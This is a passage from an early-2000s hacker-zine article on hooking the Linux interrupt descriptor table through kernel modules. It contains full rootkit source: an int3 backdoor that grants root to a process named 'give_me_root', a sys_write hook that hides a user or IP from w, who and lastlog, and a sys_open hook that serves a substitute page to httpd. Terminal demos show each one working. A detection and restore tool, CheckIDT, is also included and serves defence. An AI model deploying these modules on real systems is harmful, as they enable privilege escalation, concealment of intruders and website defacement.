practice : -------------- bash-2.05$ cat setuid.c #include int main (int argc,char ** argv) { setuid(12345); system("/bin/sh"); return 0; } bash-2.05$ gcc -o setuid setuid.c bash-2.05$ ./setuid sh-2.05# id uid=0(root) gid=0(root) groups=100(users) sh-2.05# We are root. This technique can be used with many syscalls. ------[ 5.3.2 - Hooking of sys_write SYS_WRITE: ---------- EAX: 4 EBX: file descriptor ECX: ptr to output buffer EDX: count of bytes to send We are going to hook sys_write so that it will replace a string in a defined program. Then, we will hook sys_write so that it will replace in the whole system. The asm handler in the same as in 5.3.1 C handler ---------- asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task) { struct task_struct *my_task= &((struct task_struct *) fd_task) [0]; char *ptr=(char *) regs->ecx; char * buffer,*ptr3; if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0|| strcmp(my_task->comm,"lastlog")==0 || ((progy != 0)?(strcmp(my_task->comm,progy)==0):0) ) { buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL); copy_from_user(buffer,ptr,regs->edx); if(hide_string) { ptr3=strstr(buffer,hide_string); } else { ptr3=strstr(buffer,HIDE_STRING); } if(ptr3 != NULL ) { if (false_string) { strncpy(ptr3,false_string,strlen(false_string)); } else { strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING)); } copy_to_user(ptr,buffer,regs->edx); } kfree(buffer); } } - We compare the name of the process with a defined program name and with the name that we will specify in param when we insert our module (progy param). - We allocate some space for the buffer that will receive the string that is in regs->ecx - We copy the string that sys_write is going to write from the userland to the kernelland (copy_from_user) - We search for the string we want to hide in the string that sys_write is going to write. - If found,we change the string to be hidden with the one wanted in our buffer. - we copy the false string in the userland (copy_to_user) In practice : -------------- %gcc -I/usr/src/linux/include -O2 -c hookstub-V0.5.2.c %w 12:07am up 38 min, 2 users, load average: 0.60, 0.60, 0.48 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT kad tty1 - 11:32pm 35:15 14:57 0.03s sh /usr/X11/bin/startx kad pts/1 :0.0 11:58pm 8:51 0.08s 0.03s man setuid %modinfo hookstub-V0.5.2.o filename: hookstub-V0.5.2.o description: "Hooking of sys_write" author: "kad" parm: interrupt int, description "Interrupt number" parm: hide_string string, description "String to hide" parm: false_string string, description "The fake string" parm: progy string, description "You can add another program to fake" %insmod hookstub-V0.5.2.o interrupt=128 hide_string=kad false_string=marcel progy=ps Inserting hook Hooking finish %w 12:07am up 38 min, 2 users, load average: 0.63, 0.61, 0.48 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT marcel tty1 - 11:32pm 35:21 15:01 0.03s sh /usr marcel pts/1 :0.0 11:58pm 8:57 0.08s 0.03s man setuid %ps -au USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND marcel 133 0.0 1.4 2044 1256 pts/0 S May12 0:00 -bash root 146 0.0 1.4 2032 1260 pts/0 S May12 0:00 -su root 243 0.0 1.6 2612 1444 pts/0 S 00:05 0:00 -sh root 259 0.0 0.9 2564 836 pts/0 R 00:07 0:00 ps -au % The string "kad" is hidden. The whole source code is in annexe CODE 3. This example is quite simple but could be more interesting. Instead of changing "kad" with "marcel", we could change our IP address with another. And, instead of hooking the output of w, who or lastlog, we could use klogd... Complete hooking of sys_write ------------------------------ The complete hooking of sys_write can be useful in some case, like for example changing an IP with another. But if you change a string completely, you won't be hidden long. If you change a string with another, it's the whole system that will be changed. Even a simple cat will be influenced : %insmod hookstub-V0.5.3.o interrupt=128 hide_string="hello!" false_string="bye! " Inserting hook Hooking finish %echo hello! bye! % The C handler for this example is the same as the previous one without the if condition. Beware, this could slow down your system a lot. ----[ 5.4 - Hooking for fun This example is only "for fun" :), don't misuse it. You could turn an admin mad... Thanks to Spacewalker for the idea (Hi Space ! :). The idea is to hook the syscall sys_open so that it opens another file instead of a defined file, but only if it is a defined "entity" that opens the file. This entity will be httpd here... SYS_OPEN: --------- EAX : 5 EBX : ptr to pathname ECX : file access EDX : file permissions The asm handler is always the same as the previous ones. C handler : ------------ asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task) { struct task_struct *my_task = &((struct task_struct * ) fd_task) [0]; if(strcmp(my_task->comm,"httpd") == 0) { if(strcmp((char *)regs->ebx,"/var/www/htdocs/index.html.fr")==0) { copy_to_user((char *)regs->ebx,"/tmp/hacked", strlen((char *) regs->ebx)); } } } We hook sys_open, if httpd call sys_open and tries to open index.html, then we change index.html with another page we've chosen. We can also use MODULE_PARM to more easily change the page. If someone opens the file with a classic editor, he will see the true index.html! Hooking a syscall is very easy with this technique. Moreover, few modifications are to be done for hooking this or that syscall. The only thing to change is the C handler. We could however play with the asm handler, for example to invert 2 syscalls. We would only have to compare the value of eax and to change it with the number of a defined syscall. For an admin, we could hook the "hot" syscalls and warn with a message as soon as the syscall is called. We would be warned of the modifications on the syscall_table. --[ 6 - CHECKIDT CheckIDT is a little program that I have written that allow to "play" with the IDT from the userland. i.e. without using a lkm, thanks to the technique of sd and devik in Phrack 58 on /dev/kmem. All along my tests, I had to face many kernel crashes and it was not dead but I couldn't remove the lkm. I had to reboot to change the value of the IDT. CheckIDT allow to change the value of the IDT without the use of a lkm. CheckIDT is here to help you coding your lkms and prevent you from rebooting all the time. On the other hand, this software can warn you of modifications of the IDT and so be useful for admins. It can restore the IDT state in tripwire style. It saves each descriptor of the IDT in a file, then it compares the descriptors with the saved values and put the IDT back if there were modifications. Some examples of use : ----------------------- %./checkidt CheckIDT V 1.1 by kad --------------------- Option : -a nb show all info about one interrupt -A show all info about all interrupt -I show IDT address -c create file archive -r read file archive -o file output filename (for creating file archive) -C compare save idt & new idt -R restore IDT -i file input filename to compare or read -s resolve symbol thanks to /boot/System.map -S file specify a map file %./checkidt -a 3 -s Int *** Stub Address *** Segment *** DPL *** Type Handler Name -------------------------------------------------------------------------- 3 0xc0109370 KERNEL_CS 3 System gate int3 Thanks for choose kad's products :-) % We can obtain information on an interrupt descriptor. "-A" allow to obtain information on all interrupts. %./checkidt -c Creating file archive idt done Thanks for choosing kad's products :-) %insmod hookstub-V0.3.2.o interrupt=3 Inserting hook Hooking finished %./checkidt -C Hey stub address of interrupt 3 has changed!!! Old Value : 0xc0109370 New Value : 0xc583e064 Thanks for choosing kad's products :-) %./checkidt -R Restore old stub address of interrupt 3 Thanks for choosing kad's products :-) %./checkidt -C All values are same Thanks for choosing kad's products :-) %lsmod Module Size Used by hookstub-V0.3.2 928 0 (unused) ... % So CheckIDT has restored the values of the IDT as they were before inserting the module. However, the module is still here but has no effect. As in tripwire, I advice you to put the IDT save file in a read only area, otherwise someone could be compromised. rem : if the module is well hidden, you will also be warned of the modifications of IDT. The whole source code is in annexe CODE 4. --[ 7 - REFERENCES [1] http://www.linuxassembly.org/resources.html#tutorials Many docs on asm inline [2] http://www.xml.com/ldd/chapter/book/ linux device drivers [3] http://www.lxhp.in-berlin.de/lhpsysc0.html detailed syscalls list [4] http://eccentrica.org/Mammon/ Mammon site, thanks mammon ;) [5] http://www.oreilly.com/catalog/linuxkernel/ o'reilly book , great book :) [6] http://www.tldp.org/LDP/lki/index.html Linux Kernel 2.4 Internals [7] Sources of 2.2.19 and 2.4.17 kernel [8] http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html good info about how bottom half work [9] http://www.s0ftpj.org/en/tools.html kstat GREETZ - Special greetz to freya, django and neuro for helping me to translate this text in English. Greetz again to skyper for his advice, thks a lot man! :) - Thanks to Wax for his invaluable advise on asm (don't smoke to much dude !) - Big greetz to mayhem, insulted, ptah and sauron for testing the codes and verifying the text. - Greetz to #frogs people, #thebhz people, #gandalf people, #fr people, all those who were at the RtC.Party, nywass, the polos :) and all those I forget. --[ 8 - Appendix CODE 1: ------- /*****************************************/ /* hooking interrupt 3 . Idea by mammon */ /* with kad modification */ /*****************************************/ #define MODULE #define __KERNEL__ #include #include #include #include #include #define error_code 0xc01092d0 //error code in my system.map #define do_int3 0xc010977c //do_int3 in my system.map asmlinkage void my_handler(struct pt_regs * regs,long err_code); /*------------------------------------------*/ unsigned long ptr_idt_table; unsigned long ptr_gdt_table; unsigned long old_stub; unsigned long old_handler=do_int3; extern asmlinkage void my_stub(); unsigned long ptr_error_code=error_code; unsigned long ptr_handler=(unsigned long)&my_handler; /*------------------------------------------*/ struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" "pushl $0 \n" "pushl ptr_handler(,1) \n" "jmp *ptr_error_code " :: ); } asmlinkage void my_handler(struct pt_regs * regs,long err_code) { void (*old_int_handler)(struct pt_regs *,long) = (void *) old_handler; printk("<1>Wowowo hijacking de l'int 3 \n"); (*old_int_handler)(regs,err_code); return; } unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } void * get_stub_from_idt (int n) { struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); } void hook_stub(int n,void *new_stub,unsigned long *old_stub) { unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub if(old_stub) *old_stub=(unsigned long)get_stub_from_idt(3); //assign new stub idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); return; } int init_module(void) { ptr_idt_table=get_addr_idt(); hook_stub(3,&my_stub,&old_stub); return 0; } void cleanup_module() { hook_stub(3,(char *)old_stub,NULL); } ****************************************************************************** CODE 2: ------- /****************************************************/ /* IDT int3 backdoor. Give root right to the process /* Coded by kad /****************************************************/ #define MODULE #define __KERNEL__ #include #include #include #include #ifndef KERNEL2 #include #else #include #endif /*------------------------------------------*/ asmlinkage void my_function(unsigned long); /*------------------------------------------*/ MODULE_AUTHOR("Kad"); MODULE_DESCRIPTION("Hooking of int3 , give root right to process"); MODULE_PARM(interrupt,"i"); MODULE_PARM_DESC(interrupt,"Interrupt number"); /*------------------------------------------*/ unsigned long ptr_idt_table; unsigned long old_stub; extern asmlinkage void my_stub(); unsigned long hostile_code=(unsigned long)&my_function; int interrupt; /*------------------------------------------*/ struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" " pushl %%ebx \n" " movl %%esp,%%ebx \n" " andl $-8192,%%ebx \n" " pushl %%ebx \n" " call *%0 \n" " addl $4,%%esp \n" " popl %%ebx \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub) ); } asmlinkage void my_function(unsigned long addr_task) { struct task_struct *p = &((struct task_struct *) addr_task)[0]; if(strcmp(p->comm,"give_me_root")==0 ) { #ifdef DEBUG printk("UID : %i GID : %i SUID : %i\n",p->uid, p->gid,p->suid); #endif p->uid=0; p->gid=0; #ifdef DEBUG printk("UID : %i GID %i SUID : %i\n",p->uid,p->gid,p->suid); #endif } else { #ifdef DEBUG printk("<1>Interrupt %i hijack \n",interrupt); #endif } } unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } unsigned short get_size_idt(void) { unsigned idtr[6]; unsigned short size; __asm__ volatile ("sidt %0": "=m" (idtr)); size=*((unsigned short *) &idtr[0]); return(size); } void * get_stub_from_idt (int n) { struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); } void hook_stub(int n,void *new_stub,unsigned long *old_stub) { unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub if(old_stub) *old_stub=(unsigned long)get_stub_from_idt(n); #ifdef DEBUG printk("Hook : new stub addresse not splited : 0x%.8x\n",new_addr); #endif //assign new stub idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); #ifdef DEBUG printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high); printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low); #endif return; } int write_console (char *str) { struct tty_struct *my_tty; if((my_tty=current->tty) != NULL) { (*(my_tty->driver).write) (my_tty,0,str,strlen(str)); return 0; } else return -1; } static int __init kad_init(void) { int x; EXPORT_NO_SYMBOLS; ptr_idt_table=get_addr_idt(); write_console("Inserting hook \r\n"); hook_stub(interrupt,&my_stub,&old_stub); #ifdef DEBUG printk("Set hooking on interrupt %i\n",interrupt); #endif write_console("Hooking finished \r\n"); return 0; } static void kad_exit(void) { write_console("Removing hook\r\n"); hook_stub(interrupt,(char *)old_stub,NULL); } module_init(kad_init); module_exit(kad_exit); ****************************************************************************** CODE 3: ------- /**************************************************************/ /* Hooking of sys_write for w,who and lastlog. /* You can add an another program when you insmod the module /* By kad /**************************************************************/ #define MODULE #define __KERNEL__ #include #include #include #include #ifndef KERNEL2 #include #else #include #endif #include #include #define sys_number 4 #define HIDE_STRING "localhost" #define FALSE_STRING "somewhere" #define PROG "w" /*------------------------------------------*/ asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task); /*------------------------------------------*/ MODULE_AUTHOR("kad"); MODULE_DESCRIPTION("Hooking of sys_write"); MODULE_PARM(interrupt,"i"); MODULE_PARM_DESC(interrupt,"Interrupt number"); MODULE_PARM(hide_string,"s"); MODULE_PARM_DESC(hide_string,"String to hide"); MODULE_PARM(false_string,"s"); MODULE_PARM_DESC(false_string,"The fake string"); MODULE_PARM(progy,"s"); MODULE_PARM_DESC(progy,"You can add another program to fake"); /*------------------------------------------*/ unsigned long ptr_idt_table; unsigned long old_stub; extern asmlinkage void my_stub(); unsigned long hostile_code=(unsigned long)&my_function; int interrupt; char *hide_string; char *false_string; char *progy; /*------------------------------------------*/ struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" //save the register value " pushl %%ds \n" " pushl %%eax \n" " pushl %%ebp \n" " pushl %%edi \n" " pushl %%esi \n" " pushl %%edx \n" " pushl %%ecx \n" " pushl %%ebx \n" //compare it's the good syscall " xor %%ebx,%%ebx \n" " movl %2,%%ebx \n" " cmpl %%eax,%%ebx \n" " jne finis \n" //if it's the good syscall , continue :) " mov %%esp,%%edx \n" " mov %%esp,%%eax \n" " andl $-8192,%%eax \n" " pushl %%eax \n" " push %%edx \n" " call *%0 \n" " addl $8,%%esp \n" "finis: \n" //restore register " popl %%ebx \n" " popl %%ecx \n" " popl %%edx \n" " popl %%esi \n" " popl %%edi \n" " popl %%ebp \n" " popl %%eax \n" " popl %%ds \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub),"i"(sys_number) ); } asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task) { struct task_struct *my_task = &((struct task_struct * ) fd_task) [0]; char *ptr=(char *) regs->ecx; char * buffer,*ptr3; if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0 || strcmp(my_task->comm,"lastlog")==0 || ((progy != 0)?(strcmp(my_task->comm,progy)==0):0) ) { buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL); copy_from_user(buffer,ptr,regs->edx); if(hide_string) { ptr3=strstr(buffer,hide_string); } else { ptr3=strstr(buffer,HIDE_STRING); } if(ptr3 != NULL ) { if (false_string) { strncpy(ptr3,false_string,strlen(false_string)); } else { strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING)); } copy_to_user(ptr,buffer,regs->edx); } kfree(buffer); } } unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } void * get_stub_from_idt (int n) { struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); } void hook_stub(int n,void *new_stub,unsigned long *old_stub) { unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub if(old_stub) *old_stub=(unsigned long)get_stub_from_idt(n); #ifdef DEBUG printk("Hook : new stub addresse not splited : 0x%.8x\n", new_addr); #endif //assign new stub idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); #ifdef DEBUG printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high); printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low); #endif return; } int write_console (char *str) { struct tty_struct *my_tty; if((my_tty=current->tty) != NULL) { (*(my_tty->driver).write) (my_tty,0,str,strlen(str)); return 0; } else return -1; } static int __init kad_init(void) { EXPORT_NO_SYMBOLS; ptr_idt_table=get_addr_idt(); write_console("Inserting hook \r\n"); hook_stub(interrupt,&my_stub,&old_stub); #ifdef DEBUG printk("Set hooking on interrupt %i\n",interrupt); #endif write_console("Hooking finish \r\n"); return 0; } static void kad_exit(void) { write_console("Removing hook\r\n"); hook_stub(interrupt,(char *)old_stub,NULL); } module_init(kad_init); module_exit(kad_exit); ****************************************************************************** <++> checkidt/Makefile all: checkidt.c gcc -Wall -o checkidt checkidt.c <--> <++> checkidt/checkidt.c /* * CheckIDT V1.1 * Play with IDT from userland * It's a tripwire kind for IDT * kad 2002 * * gcc -Wall -o checkidt checkidt.c */ #include #include #include #include #include #include #include #include #define NORMAL "\033[0m" #define NOIR "\033[30m" #define ROUGE "\033[31m" #define VERT "\033[32m" #define JAUNE "\033[33m" #define BLEU "\033[34m" #define MAUVE "\033[35m" #define BLEU_CLAIR "\033[36m" #define SYSTEM "System gate" #define INTERRUPT "Interrupt gate" #define TRAP "Trap gate" #define DEFAULT_FILE "Safe_idt" #define DEFAULT_MAP "/boot/System.map" /***********GLOBAL**************/ int fd_kmem; unsigned long ptr_idt; /******************************/ struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; struct Mode { int show_idt_addr; int show_all_info; int read_file_archive; int create_file_archive; char out_filename[20]; int compare_idt; int restore_idt; char in_filename[20]; int show_all_descriptor; int resolve; char map_filename[40]; }; unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } unsigned short get_size_idt(void) { unsigned idtr[6]; unsigned short size; __asm__ volatile ("sidt %0": "=m" (idtr)); size=*((unsigned short *) &idtr[0]); return(size); } char * get_segment(unsigned short selecteur) { if(selecteur == __KERNEL_CS) { return("KERNEL_CS"); } if(selecteur == __KERNEL_DS) { return("KERNEL_DS"); } if(selecteur == __USER_CS) { return("USER_CS"); } if(selecteur == __USER_DS) { return("USER_DS"); } else { printf("UNKNOW\n"); } } void readkmem(void *m,unsigned off,int size) { if(lseek(fd_kmem,off,SEEK_SET) != off) { fprintf(stderr,"Error lseek. Are you root? \n"); exit(-1); } if(read(fd_kmem,m,size)!= size) { fprintf(stderr,"Error read kmem\n"); exit(-1); } } void writekmem(void *m,unsigned off,int size) { if(lseek(fd_kmem,off,SEEK_SET) != off) { fprintf(stderr,"Error lseek. Are you root? \n"); exit(-1); } if(write(fd_kmem,m,size)!= size) { fprintf(stderr,"Error read kmem\n"); exit(-1); } } void resolv(char *file,unsigned long stub_addr,char *name) { FILE *fd; char buf[100],addr[30]; int ptr,ptr_begin,ptr_end; snprintf(addr,30,"%x",(char *)stub_addr); if(!(fd=fopen(file,"r"))) { fprintf(stderr,"Can't open map file. You can specify a map file -S option or change #define in source\n"); exit(-1); } while(fgets(buf,100,fd) != NULL) { ptr=strstr(buf,addr); if(ptr) { bzero(name,30); ptr_begin=strstr(buf," "); ptr_begin=strstr(ptr_begin+1," "); ptr_end=strstr(ptr_begin+1,"\n"); strncpy(name,ptr_begin+1,ptr_end-ptr_begin-1); break; } } if(strlen(name)==0)strcpy(name,ROUGE"can't resolve"NORMAL); fclose(fd); } void show_all_info(int interrupt,int all_descriptor,char *file,int resolve) { struct descriptor_idt *descriptor; unsigned long stub_addr; unsigned short selecteur; char type[15]; char segment[15]; char name[30]; int x; int dpl; bzero(name,strlen(name)); descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); printf("Int *** Stub Address *** Segment *** DPL *** Type "); if(resolve >= 0) { printf(" Handler Name\n"); printf("--------------------------------------------------------------------------\n"); } else { printf("\n"); printf("---------------------------------------------------\n"); } if(interrupt >= 0) { readkmem(descriptor,ptr_idt+8*interrupt,sizeof(struct descriptor_idt)); stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low; selecteur=(unsigned short) descriptor->seg_selector; if(descriptor->flag & 64) dpl=3; else dpl = 0; if(descriptor->flag & 1) { if(dpl) strncpy(type,SYSTEM,sizeof(SYSTEM)); else strncpy(type,TRAP,sizeof(TRAP)); } else strncpy(type,INTERRUPT,sizeof(INTERRUPT)); strcpy(segment,get_segment(selecteur)); if(resolve >= 0) { resolv(file,stub_addr,name); printf("%-7i 0x%-14.8x %-12s%-8i%-16s %s\n",interrupt,stub_addr,segment,dpl,type,name); } else { printf("%-7i 0x%-14.8x %-12s %-7i%s\n",interrupt,stub_addr,segment,dpl,type); } } if(all_descriptor >= 0 ) { for (x=0;x<(get_size_idt()+1)/8;x++) { readkmem(descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low; if(stub_addr != 0) { selecteur=(unsigned short) descriptor->seg_selector; if(descriptor->flag & 64) dpl=3; else dpl = 0; if(descriptor->flag & 1) { if(dpl) strncpy(type,SYSTEM,sizeof(SYSTEM)); else strncpy(type,TRAP,sizeof(TRAP)); } else strncpy(type,INTERRUPT,sizeof(INTERRUPT)); strcpy(segment,get_segment(selecteur)); if(resolve >= 0) { bzero(name,strlen(name)); resolv(file,stub_addr,name); printf("%-7i 0x%-14.8x %-12s%-8i%-16s %s\n",x,stub_addr,segment,dpl,type,name); } else { printf("%-7i 0x%-14.8x %-12s %-7i%s\n",x,stub_addr,segment,dpl,type); } } } } free(descriptor); } void create_archive(char *file) { FILE *file_idt; struct descriptor_idt *descriptor; int x; descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); if(!(file_idt=fopen(file,"w"))) { fprintf(stderr,"Error while opening file\n"); exit(-1); } for(x=0;x<(get_size_idt()+1)/8;x++) { readkmem(descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); fwrite(descriptor,sizeof(struct descriptor_idt),1,file_idt); } free(descriptor); fclose(file_idt); fprintf(stderr,"Creating file archive idt done \n"); } void read_archive(char *file) { FILE *file_idt; int x; struct descriptor_idt *descriptor; unsigned long stub_addr; descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); if(!(file_idt=fopen(file,"r"))) { fprintf(stderr,"Error, check if the file exist\n"); exit(-1); } for(x=0;x<(get_size_idt()+1)/8;x++) { fread(descriptor,sizeof(struct descriptor_idt),1,file_idt); stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low; printf("Interruption : %i -- Stub addresse : 0x%.8x\n",x,stub_addr); } free(descriptor); fclose(file_idt); } void compare_idt(char *file,int restore_idt) { FILE *file_idt; int x,change=0; int result; struct descriptor_idt *save_descriptor,*actual_descriptor; unsigned long save_stub_addr,actual_stub_addr; unsigned short *offset; save_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); actual_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); file_idt=fopen(file,"r"); for(x=0;x<(get_size_idt()+1)/8;x++) { fread(save_descriptor,sizeof(struct descriptor_idt),1,file_idt); save_stub_addr=(unsigned long)(save_descriptor->offset_high << 16) + save_descriptor->offset_low; readkmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); actual_stub_addr=(unsigned long)(actual_descriptor->offset_high << 16) + actual_descriptor->offset_low; if(actual_stub_addr != save_stub_addr) { if(restore_idt < 1) { fprintf(stderr,VERT"Hey stub address of interrupt %i has changed!!!\n"NORMAL,x); fprintf(stderr,"Old Value : 0x%.8x\n",save_stub_addr); fprintf(stderr,"New Value : 0x%.8x\n",actual_stub_addr); change=1; } else { fprintf(stderr,VERT"Restore old stub address of interrupt %i\n"NORMAL,x); actual_descriptor->offset_high = (unsigned short) (save_stub_addr >> 16); actual_descriptor->offset_low = (unsigned short) (save_stub_addr & 0x0000FFFF); writekmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); change=1; } } } if(!change) fprintf(stderr,VERT"All values are same\n"NORMAL); } void initialize_value(struct Mode *mode) { mode->show_idt_addr=-1; mode->show_all_info=-1; mode->show_all_descriptor=-1; mode->create_file_archive=-1; mode->read_file_archive=-1; strncpy(mode->out_filename,DEFAULT_FILE,strlen(DEFAULT_FILE)); mode->compare_idt=-1; mode->restore_idt=-1; strncpy(mode->in_filename,DEFAULT_FILE,strlen(DEFAULT_FILE)); strncpy(mode->map_filename,DEFAULT_MAP,strlen(DEFAULT_MAP)); mode->resolve=-1; } void usage() { fprintf(stderr,"CheckIDT V 1.1 by kad\n"); fprintf(stderr,"---------------------\n"); fprintf(stderr,"Option : \n"); fprintf(stderr," -a nb show all info about one interrupt\n"); fprintf(stderr," -A showw all info about all interrupt\n"); fprintf(stderr," -I show IDT address \n"); fprintf(stderr," -c create file archive\n"); fprintf(stderr," -r read file archive\n"); fprintf(stderr," -o file output filename (for creating file archive)\n"); fprintf(stderr," -C compare save idt & new idt\n"); fprintf(stderr," -R restore IDT\n"); fprintf(stderr," -i file input filename to compare or read\n"); fprintf(stderr," -s resolve symbol thanks to /boot/System.map\n"); fprintf(stderr," -S file specify a map file\n\n"); exit(1); } int main(int argc, char ** argv) { int option; struct Mode *mode; if (argc < 2) { usage(); } mode=(struct Mode *) malloc(sizeof(struct Mode)); initialize_value(mode); while((option=getopt(argc,argv,"hIa:Aco:Ci:rRsS:"))!=-1) { switch(option) { case 'h': usage(); exit(1); case 'I': mode->show_idt_addr=1; break; case 'a': mode->show_all_info=atoi(optarg); break; case 'A': mode->show_all_descriptor=1; break; case 'c': mode->create_file_archive=1; break; case 'r': mode->read_file_archive=1; break; case 'R': mode->restore_idt=1; break; case 'o': bzero(mode->out_filename,sizeof(mode->out_filename)); if(strlen(optarg) > 20) { fprintf(stderr,"Filename too long\n"); exit(-1); } strncpy(mode->out_filename,optarg,strlen(optarg)); break; case 'C': mode->compare_idt=1; break; case 'i': bzero(mode->in_filename,sizeof(mode->in_filename)); if(strlen(optarg) > 20) { fprintf(stderr,"Filename too long\n"); exit(-1); } strncpy(mode->in_filename,optarg,strlen(optarg)); break; case 's': mode->resolve=1; break; case 'S': bzero(mode->map_filename,sizeof(mode->map_filename)); if(strlen(optarg) > 40) { fprintf(stderr,"Filename too long\n"); exit(-1); } if(optarg)strncpy(mode->map_filename,optarg,strlen(optarg)); break; } } printf("\n"); ptr_idt=get_addr_idt(); if(mode->show_idt_addr >= 0) { fprintf(stdout,"Addresse IDT : 0x%x\n",ptr_idt); } fd_kmem=open("/dev/kmem",O_RDWR); if(mode->show_all_info >= 0 || mode->show_all_descriptor >= 0) { show_all_info(mode->show_all_info,mode->show_all_descriptor,mode->map_filename,mode->resolve); } if(mode->create_file_archive >= 0) { create_archive(mode->out_filename); } if(mode->read_file_archive >= 0) { read_archive(mode->in_filename); } if(mode->compare_idt >= 0) { compare_idt(mode->in_filename,mode->restore_idt); } if(mode->restore_idt >= 0) { compare_idt(mode->in_filename,mode->restore_idt); } printf(JAUNE"\nThanks for choosing kad's products :-)\n"NORMAL); free(mode); return 0; } <--> |=[ EOF ]=---------------------------------------------------------------=|